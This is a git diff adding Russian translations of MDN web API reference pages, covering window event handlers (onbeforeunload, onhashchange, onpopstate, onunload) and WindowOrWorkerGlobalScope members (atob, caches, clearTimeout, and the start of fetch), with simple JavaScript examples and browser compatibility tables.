new file mode 100644
index 0000000000..f2e282cea5
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/onbeforeunload/index.html
@@ -0,0 +1,87 @@
+---
+title: WindowEventHandlers.onbeforeunload
+slug: Web/API/WindowEventHandlers/onbeforeunload
+translation_of: Web/API/WindowEventHandlers/onbeforeunload
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<div> </div>
+
+<p>Свойство обработчика события <code><strong>WindowEventHandlers.onbeforeunload</strong></code> содержит код, который выполняется при отправке события {{event("beforeunload")}}. Это событие срабатывает, когда окно браузера {{event("unload")}} свои ресурсы. При этом документ остаётся видимым и событие всё ещё можно отменить.</p>
+
+<div class="note">
+<p><strong>Примечание:</strong> Для борьбы с нежелательными всплывающими окнами, некоторые браузеры не отображают текст передаваемый в beforeunload событии, если они не связаны с самой страницей; некоторые не показывают их вообще. Список конкретных браузеров смотрите в секции: {{anch("Совместимость_с_браузерами")}}.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox">window.onbeforeunload = <var>funcRef</var></pre>
+
+<ul>
+ <li><code>funcRef</code> является ссылкой на функцию или выражение функции.</li>
+ <li>Функция должна назначать строковое значение свойству <code>returnValue</code> объекта Event и возвращать ту же строку.</li>
+</ul>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">window.onbeforeunload = function(e) {
+  var dialogText = 'Dialog text here';
+  e.returnValue = dialogText;
+  return dialogText;
+};
+</pre>
+
+<h2 id="Примечания">Примечания</h2>
+
+<p>Когда это событие возвращает (или выставляет свойство returnValue)  значение, отличное от null или undefined, пользователю предлагается подтвердить {{event("unload")}} страницы в {{domxref("window.prompt", "prompt")}} . В некоторых браузерах возвращаемое значение отображается в этом диалоговом окне. Начиная с Firefox 4, Chrome 51, Opera 38 и Safari 9.1 вместо возвращаемой строки будет показана общая строка, не контролируемая страницей. Например, Firefox отображает строку: "This page is asking you to confirm that you want to leave - data you have entered may not be saved.". Смотрите {{bug("588292")}} и <a href="https://www.chromestatus.com/feature/5349061406228480">Chrome Platform Status</a>.</p>
+
+<p>С 25 мая 2011, в спецификации HTML5 указано, что исполнение методов {{domxref("window.alert()")}}, {{domxref("window.confirm()")}} и {{domxref("window.prompt()")}} может игнорироваться во время этого события. Смотрите <a href="http://www.w3.org/TR/html5/webappapis.html#user-prompts">cпецификацию HTML5</a> чтобы узнать подробности.</p>
+
+<p>Также необходимо отметить, что различные мобильные браузеры игнорируют результат этого события (это является причиной, почему они не запрашивают подтверждения пользователя). Firefox имеет скрытую настройку в about:config для того, чтобы вести себя также. В сущности это значит, что пользователь постоянно подтверждает, что документ может быть выгружен.</p>
+
+<p>Вы <em>можете </em>и <em>должны </em>обрабатывать данное событие через {{domxref("EventTarget.addEventListener","window.addEventListener()")}} и событие {{event("beforeunload")}}. Больше документации доступно здесь.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<p>Событие было первоначально добавлено Microsoft в Internet Explorer 4 и стандартизовано в HTML5 спецификации.</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("api.WindowEventHandlers.onbeforeunload")}}</p>
+
+<div id="compat-mobile"> </div>
+
+<h2 id="See also" name="See also">Смотрите также</h2>
+
+<ul>
+ <li><a href="http://msdn.microsoft.com/en-us/library/ms536907(VS.85).aspx">MSDN: onbeforeunload event</a></li>
+</ul>
diff --git a/files/ru/web/api/windoweventhandlers/onhashchange/index.html b/files/ru/web/api/windoweventhandlers/onhashchange/index.html
new file mode 100644
index 0000000000..0f84311d42
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/onhashchange/index.html
@@ -0,0 +1,158 @@
+---
+title: WindowEventHandlers.onhashchange
+slug: Web/API/WindowEventHandlers/onhashchange
+translation_of: Web/API/WindowEventHandlers/onhashchange
+---
+<div>
+<div>{{APIRef("HTML DOM")}}</div>
+</div>
+
+<p>Событие <strong>hashchange</strong> происходит когда изменяется hash (смотри {{domxref("Window.location", "location.hash")}}).</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">window.onhashchange = funcRef;
+</pre>
+
+<p><strong>или</strong></p>
+
+<pre class="syntaxbox">&lt;body onhashchange="funcRef();"&gt;
+</pre>
+
+<p><strong>или</strong></p>
+
+<pre class="syntaxbox">window.addEventListener("hashchange", funcRef, false);
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>funcRef</code></dt>
+ <dd>Ссылка на функцию.</dd>
+</dl>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">if ("onhashchange" in window) {
+    alert("The browser supports the hashchange event!");
+}
+
+function locationHashChanged() {
+    if (location.hash === "#somecoolfeature") {
+        somecoolfeature();
+    }
+}
+
+window.onhashchange = locationHashChanged;
+</pre>
+
+<h2 id="The_hashchange_event">The hashchange event</h2>
+
+<p>The dispatched <code>hashchange</code> event has the following fields:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td class="header">Field</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>newURL</code> {{gecko_minversion_inline("6.0")}}</td>
+   <td><code>DOMString</code></td>
+   <td>The new URL to which the window is navigating.</td>
+  </tr>
+  <tr>
+   <td><code>oldURL</code> {{gecko_minversion_inline("6.0")}}</td>
+   <td><code>DOMString</code></td>
+   <td>The previous URL from which the window was navigated.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>5.0</td>
+   <td>{{CompatGeckoDesktop("1.9.2")}}</td>
+   <td>
+    <p>8.0</p>
+
+    <p><code style="font-size: 14px;">oldURL</code>/<code style="font-size: 14px;">newURL</code> attributes are not supported.</p>
+   </td>
+   <td>10.6</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.2</td>
+   <td>{{CompatGeckoMobile("1.9.2")}}</td>
+   <td>9.0</td>
+   <td>11.0</td>
+   <td>5.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<ul>
+ <li><a href="/en-US/docs/DOM/Manipulating_the_browser_history" title="DOM/Manipulating the browser history">Manipulating the browser history</a>, <a href="/en-US/docs/DOM/window.history" title="DOM/window.history">history.pushState() and history.replaceState()</a> methods, <a href="/en-US/docs/DOM/window.onpopstate" title="DOM/window.onpopstate">popstate</a> event.</li>
+</ul>
diff --git a/files/ru/web/api/windoweventhandlers/onpopstate/index.html b/files/ru/web/api/windoweventhandlers/onpopstate/index.html
new file mode 100644
index 0000000000..62d82bd693
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/onpopstate/index.html
@@ -0,0 +1,63 @@
+---
+title: WindowEventHandlers.onpopstate
+slug: Web/API/WindowEventHandlers/onpopstate
+translation_of: Web/API/WindowEventHandlers/onpopstate
+---
+<div>{{APIRef}}</div>
+
+<p>Свойство <code>onpopstate</code> миксина {{domxref("WindowEventHandlers")}} является {{domxref("EventHandler")}} для обработки событий <code>popstate</code> для "window".</p>
+
+<p>Событие <code style="font-style: normal;">popstate</code> отсылается объекту window каждый раз, когда активная запись истории меняется с одной на другую для одного и того же документа. Если запись истории, ставшая активной, была создана вызовом <span style="font-family: Consolas,Monaco,'Andale Mono',monospace;"><code>history.pushState()</code> </span>или изменена с помощью <code style="font-style: normal;">history.replaceState()</code>, свойство <code style="font-style: normal;">state</code> события <code style="font-style: normal;">popstate</code> содержит копию объекта состояния этой записи истории.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание:</strong>, просто вызов <code>history.pushState()</code> или <code>history.replaceState()</code> не вызовет событие <code>popstate</code>. Событие <code>popstate</code> срабатывает только тогда, когда происходят какие то действия в браузере, такие как нажатие кнопки "назад" (или вызов <code>history.back()</code> из JavaScript). Это событие срабатывает только когда пользователь переходит между двумя записями истории одного и того же документа.</p>
+</div>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">window.onpopstate = <var>funcRef</var>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> – функция обработчик.</li>
+</ul>
+
+<h2 id="The_popstate_event" name="The_popstate_event">Примеры</h2>
+
+<p>В качестве примера, страница <code>http://example.com/example.html</code>, исполняя нижеследующий код, сгенерирует всплывающие сообщения, как показано в комментариях:</p>
+
+<pre class="brush:js notranslate">window.onpopstate = function(event) {
+  alert("location: " + document.location + ", state: " + JSON.stringify(event.state));
+};
+
+history.pushState({page: 1}, "title 1", "?page=1");
+history.pushState({page: 2}, "title 2", "?page=2");
+history.replaceState({page: 3}, "title 3", "?page=3");
+history.back(); // alerts "location: http://example.com/example.html?page=1, state: {"page":1}"
+history.back(); // alerts "location: http://example.com/example.html, state: null
+history.go(2);  // alerts "location: http://example.com/example.html?page=3, state: {"page":3}
+</pre>
+
+<p>Обратите внимание, что даже несмотря на то, что первоначальная запись истории (для <code>http://example.com/example.html</code>) не имеет объекта события, связанного с ней, событие <code>popstate</code> все равно произойдет, когда мы активируем эту запись после второго вызова <code>history.back()</code>.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<ul>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/#handler-window-onpopstate">HTML5 popstate event</a></li>
+</ul>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div class="hidden">
+<p>The compatibility table on this page is generated from structured data. If you'd like to contribute to the data, please check out <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> and send us a pull request.</p>
+</div>
+
+<p>{{Compat("api.WindowEventHandlers.onpopstate")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("window.history")}}</li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history">Manipulating the browser history</a></li>
+ <li><a href="/en-US/docs/Web/Guide/DOM/Manipulating_the_browser_history/Example">Ajax navigation example</a></li>
+</ul>
diff --git a/files/ru/web/api/windoweventhandlers/onunload/index.html b/files/ru/web/api/windoweventhandlers/onunload/index.html
new file mode 100644
index 0000000000..3d908647e5
--- /dev/null
+++ b/files/ru/web/api/windoweventhandlers/onunload/index.html
@@ -0,0 +1,106 @@
+---
+title: WindowEventHandlers.onunload
+slug: Web/API/WindowEventHandlers/onunload
+translation_of: Web/API/WindowEventHandlers/onunload
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Событие <code>unload</code> возникает когда window выгружает своё содержимое и ресурсы. Удаление ресурсов происходит <em>после</em> возникновения события <code>unload</code>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="eval">window.onunload = <em>funcRef</em>;
+</pre>
+
+<ul>
+ <li><code>funcRef</code> ссылка на функцию.</li>
+</ul>
+
+<h2 id="Примечание">Примечание</h2>
+
+<p>Using this event handler in your page prevents Firefox 1.5 from caching the page in the in-memory bfcache. Смотрите <a href="/En/Using_Firefox_1.5_caching" title="En/Using_Firefox_1.5_caching">Использование кеширования в  Firefox 1.5</a> для получения более детальной информации.</p>
+
+<p>Браузеры, оснащённые бокировщиками всплывающих окон будут игнорировать все вызовы метода <code>window.open()</code> внутри функции обработчика события <code>onunload</code>.</p>
+
+<p>You <em>can</em> and <em>should</em> handle this event through {{domxref("EventTarget.addEventListener","window.addEventListener()")}} and the {{event("unload")}} event. More documentation is available there.</p>
+
+<h2 id="Cпецификации">Cпецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#windoweventhandlers', 'GlobalEventHandlers')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#windoweventhandlers", "GlobalEventHandlers")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Поддержка_браузерами">Поддержка браузерами</h3>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td><span style="font-size: 12px; line-height: 18px;">Базовая поддержка</span></td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
diff --git a/files/ru/web/api/windoworworkerglobalscope/atob/index.html b/files/ru/web/api/windoworworkerglobalscope/atob/index.html
new file mode 100644
index 0000000000..57f01ea5a9
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/atob/index.html
@@ -0,0 +1,129 @@
+---
+title: WindowOrWorkerGlobalScope.atob()
+slug: Web/API/WindowOrWorkerGlobalScope/atob
+translation_of: Web/API/WindowOrWorkerGlobalScope/atob
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p>Функция <strong><code>WindowOrWorkerGlobalScope.atob()</code></strong> декодирует строку данных, которая была закодированa с использованием  base-64. Вы можете использовать метод {{domxref("WindowOrWorkerGlobalScope.btoa","btoa()")}}, чтобы декодировать и передать данные, которые в исходном виде могут вызвать проблемы  передачи, затем отправить их, и использовать метод <code>atob()</code> чтобы декодировать данны снова. Например, вы можете закодировать, передать, и декодировать управляющие символы, такие как ASCII значения от 0 до 31.</p>
+
+<p>В случаях использования с Unicode или UTF-8 строками, смотрите <a href="/en-US/docs/Web/JavaScript/Base64_encoding_and_decoding#The_.22Unicode_Problem.22">this note at Base64 encoding and decoding</a> и <a href="/en-US/docs/Web/API/window.btoa#Unicode_Strings">this note at <code>btoa()</code></a>.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var decodedData = scope.atob(<em>encodedData</em>);</pre>
+
+<h3 id="Throws">Throws</h3>
+
+<p>Выбрасывает {{jsxref("DOMException")}}, если длина переданной строки не кратна 4.</p>
+
+<h2 id="Пример">Пример</h2>
+
+<pre class="brush:js">var encodedData = window.btoa('Hello, world'); // кодирует строку
+var decodedData = window.atob(encodedData); // декодирует строку</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-btoa', 'WindowOrWorkerGlobalScope.atob()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>Method moved to the <code>WindowOrWorkerGlobalScope</code> mixin in the latest spec.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>No change since the latest snapshot, {{SpecName("HTML5.1")}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML5.1', '#dom-windowbase64-atob', 'WindowBase64.atob()')}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. No change.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#dom-windowbase64-atob", "WindowBase64.atob()")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Snapshot of {{SpecName("HTML WHATWG")}}. Creation of <code>WindowBase64</code> (properties were on the target before it).</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}<sup>[1]</sup><br>
+    {{CompatGeckoDesktop(27)}}<sup>[2]</sup><br>
+    {{CompatGeckoDesktop(52)}}<sup>[3]</sup></td>
+   <td>10</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoMobile(1)}}<br>
+    {{CompatGeckoDesktop(52)}}<sup>[3]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] <code>atob()</code> is also available to XPCOM components implemented in JavaScript, even though <code><a href="/en-US/docs/Web/API/Window">window</a></code> is not the global object in components.</p>
+
+<p>[2] Начиная с <a href="/en-US/Firefox/Releases/27/Site_Compatibility">Firefox 27</a>, <code>atob()</code> игнорирует все символы пробелов в аргументе, чтобы соответствовать последним  HTML5 спецификациям (смотри {{bug(711180)}}).</p>
+
+<p>[3] <code>atob()</code> теперь определен в  миксине {{domxref("WindowOrWorkerGlobalScope")}}.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li><a href="/Web/API/WindowBase64/Base64_encoding_and_decoding">Base64 encoding and decoding</a></li>
+ <li><a href="/en-US/docs/data_URIs"><code>data</code> URIs</a></li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.btoa","window.btoa()")}}</li>
+ <li><a href="/en-US/docs/Components.utils.importGlobalProperties">Components.utils.importGlobalProperties</a></li>
+</ul>
diff --git a/files/ru/web/api/windoworworkerglobalscope/caches/index.html b/files/ru/web/api/windoworworkerglobalscope/caches/index.html
new file mode 100644
index 0000000000..c20691d264
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/caches/index.html
@@ -0,0 +1,79 @@
+---
+title: WindowOrWorkerGlobalScope.caches
+slug: Web/API/WindowOrWorkerGlobalScope/caches
+translation_of: Web/API/WindowOrWorkerGlobalScope/caches
+---
+<div>{{APIRef()}}{{SeeCompatTable}}</div>
+
+<p><code><strong>caches</strong></code> {{domxref("WindowOrWorkerGlobalScope")}}  свойство только для чтения интерфейса возвращающее  объект ассоциированный с текущим контекстом {{domxref("CacheStorage")}}.</p>
+
+<p>Этот объект реализует такую  функциональность как строгое соответсвие для оффлайн использования  и генерирование пользовательских ответов на запросы.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">var <em>myCacheStorage</em> = self.caches; // or just caches
+</pre>
+
+<h3 id="Значение">Значение</h3>
+
+<p>Возвращает значение {{domxref("CacheStorage")}} .</p>
+
+<h2 id="Пример">Пример</h2>
+
+<p>Данный пример показывает как надо использовать кеш в контексте <a href="/en-US/docs/Web/API/Service_Worker_API">service worker</a> для хранения в автономном режиме</p>
+
+<pre class="brush: js notranslate">this.addEventListener('install', function(event) {
+  event.waitUntil(
+    caches.open('v1').then(function(cache) {
+      return cache.addAll([
+        '/sw-test/',
+        '/sw-test/index.html',
+        '/sw-test/style.css',
+        '/sw-test/app.js',
+        '/sw-test/image-list.js',
+        '/sw-test/star-wars-logo.jpg',
+        '/sw-test/gallery/',
+        '/sw-test/gallery/bountyHunters.jpg',
+        '/sw-test/gallery/myLittleVader.jpg',
+        '/sw-test/gallery/snowTroopers.jpg'
+      ]);
+    })
+  );
+});</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers', '#self-caches', 'caches')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Обьявлена частичная поддержка в новейшей спецификации <code>WindowOrWorkerGlobalScope</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Service Workers')}}</td>
+   <td>{{Spec2('Service Workers')}}</td>
+   <td>Начальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.caches")}}</p>
+
+<h2 id="Также_смотрите">Также смотрите</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/ServiceWorker_API">Service Workers</a></li>
+ <li><a href="/en-US/docs/Web/API/Web_Workers_API">Web Workers</a></li>
+ <li>{{domxref("CacheStorage")}}</li>
+ <li>{{domxref("Cache")}}</li>
+</ul>
diff --git a/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html
new file mode 100644
index 0000000000..d783f16a26
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/cleartimeout/index.html
@@ -0,0 +1,94 @@
+---
+title: WindowOrWorkerGlobalScope.clearTimeout()
+slug: Web/API/WindowOrWorkerGlobalScope/clearTimeout
+translation_of: Web/API/WindowOrWorkerGlobalScope/clearTimeout
+---
+<div>{{APIRef("HTML DOM")}}</div>
+
+<p><strong><code>clearTimeout()</code></strong> метод {{domxref("WindowOrWorkerGlobalScope")}} отменяет таймаут, ранее установленный вызовом {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}}.</p>
+
+<h2 id="Syntax" name="Syntax">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate"><em>scope</em>.clearTimeout(<em>timeoutID</em>)
+</pre>
+
+<h3 id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code><em>timeoutID</em></code></dt>
+ <dd></dd>
+ <dd>Идентификатор таймаута, который вы хотите отменить. Этот идентификатор был возвращен соответствующим вызовом <code>setTimeout()</code>.</dd>
+</dl>
+
+<p>It's worth noting that the pool of IDs used by {{domxref("WindowOrWorkerGlobalScope.setTimeout", "setTimeout()")}} and {{domxref("WindowOrWorkerGlobalScope.setInterval", "setInterval()")}} are shared, which means you can technically use <code>clearTimeout()</code> and {{domxref("WindowOrWorkerGlobalScope.clearInterval", "clearInterval()")}} interchangeably. However, for clarity, you should avoid doing so.</p>
+
+<h2 id="Example" name="Example">Пример использования:</h2>
+
+<p>Запустите приведенный ниже скрипт в контекте веб-страницы и кликните один раз. Вы увидите всплывающее сообщение через 1 секунду. Если вы щелкните страницу несколько раз за одну секунду, предупреждение появится только один раз.</p>
+
+<pre class="brush: js notranslate">var alarm = {
+  remind: function(aMessage) {
+    alert(aMessage);
+    this.timeoutID = undefined;
+  },
+
+  setup: function() {
+    if (typeof this.timeoutID === 'number') {
+      this.cancel();
+    }
+
+    this.timeoutID = window.setTimeout(function(msg) {
+      this.remind(msg);
+    }.bind(this), 1000, 'Wake up!');
+  },
+
+  cancel: function() {
+    window.clearTimeout(this.timeoutID);
+  }
+};
+window.onclick = function() { alarm.setup(); };
+</pre>
+
+<h2 id="Notes" name="Notes">Примечания</h2>
+
+<p>Передача недействительного ID <code>clearTimeout()</code> ни к чему не приведет. Исключение не создается.</p>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'WindowOrWorkerGlobalScope.clearTimeout()')}}</td>
+   <td>{{Spec2("HTML WHATWG")}}</td>
+   <td>Method moved to the <code>WindowOrWorkerGlobalScope</code> mixin in the latest spec.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('HTML WHATWG', 'webappapis.html#dom-cleartimeout', 'clearTimeout()')}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузером">Совместимость с браузером</h2>
+
+
+
+<p>{{Compat("api.WindowOrWorkerGlobalScope.clearTimeout")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li>{{domxref("WindowOrWorkerGlobalScope.setTimeout()")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.setInterval()")}}</li>
+ <li>{{domxref("WindowOrWorkerGlobalScope.clearInterval()")}}</li>
+ <li>{{domxref("Window.requestAnimationFrame()")}}</li>
+ <li><a href="/en-US/docs/JavaScript/Timers/Daemons" title="JavaScript/Timers/Daemons"><em>Daemons</em> management</a></li>
+</ul>
diff --git a/files/ru/web/api/windoworworkerglobalscope/fetch/index.html b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html
new file mode 100644
index 0000000000..886c2fa849
--- /dev/null
+++ b/files/ru/web/api/windoworworkerglobalscope/fetch/index.html
@@ -0,0 +1,171 @@
+---
+title: WindowOrWorkerGlobalScope.fetch()
+slug: Web/API/WindowOrWorkerGlobalScope/fetch
+tags:
+  - Справка
+  - запрос
+  - метод
+translation_of: Web/API/WindowOrWorkerGlobalScope/fetch
+---
+<div>{{APIRef("Fetch API")}}</div>
+
+<p>Метод <code><strong>fetch()</strong></code> , относящийся к миксину {{domxref("WindowOrWorkerGlobalScope")}}, запускает процесс извлечения ресурса из сети. Возвращает promise, содержащий {{domxref("Response")}} объект (ответ на запрос).</p>
+
+<p><code>WorkerOrGlobalScope</code> относится к {{domxref("Window")}} и {{domxref("WorkerGlobalScope")}} сразу. Это означает, что метод <code>fetch()</code> доступен практически в любом контексте, в котором бы вы не захотели получить ресурсы.</p>
+
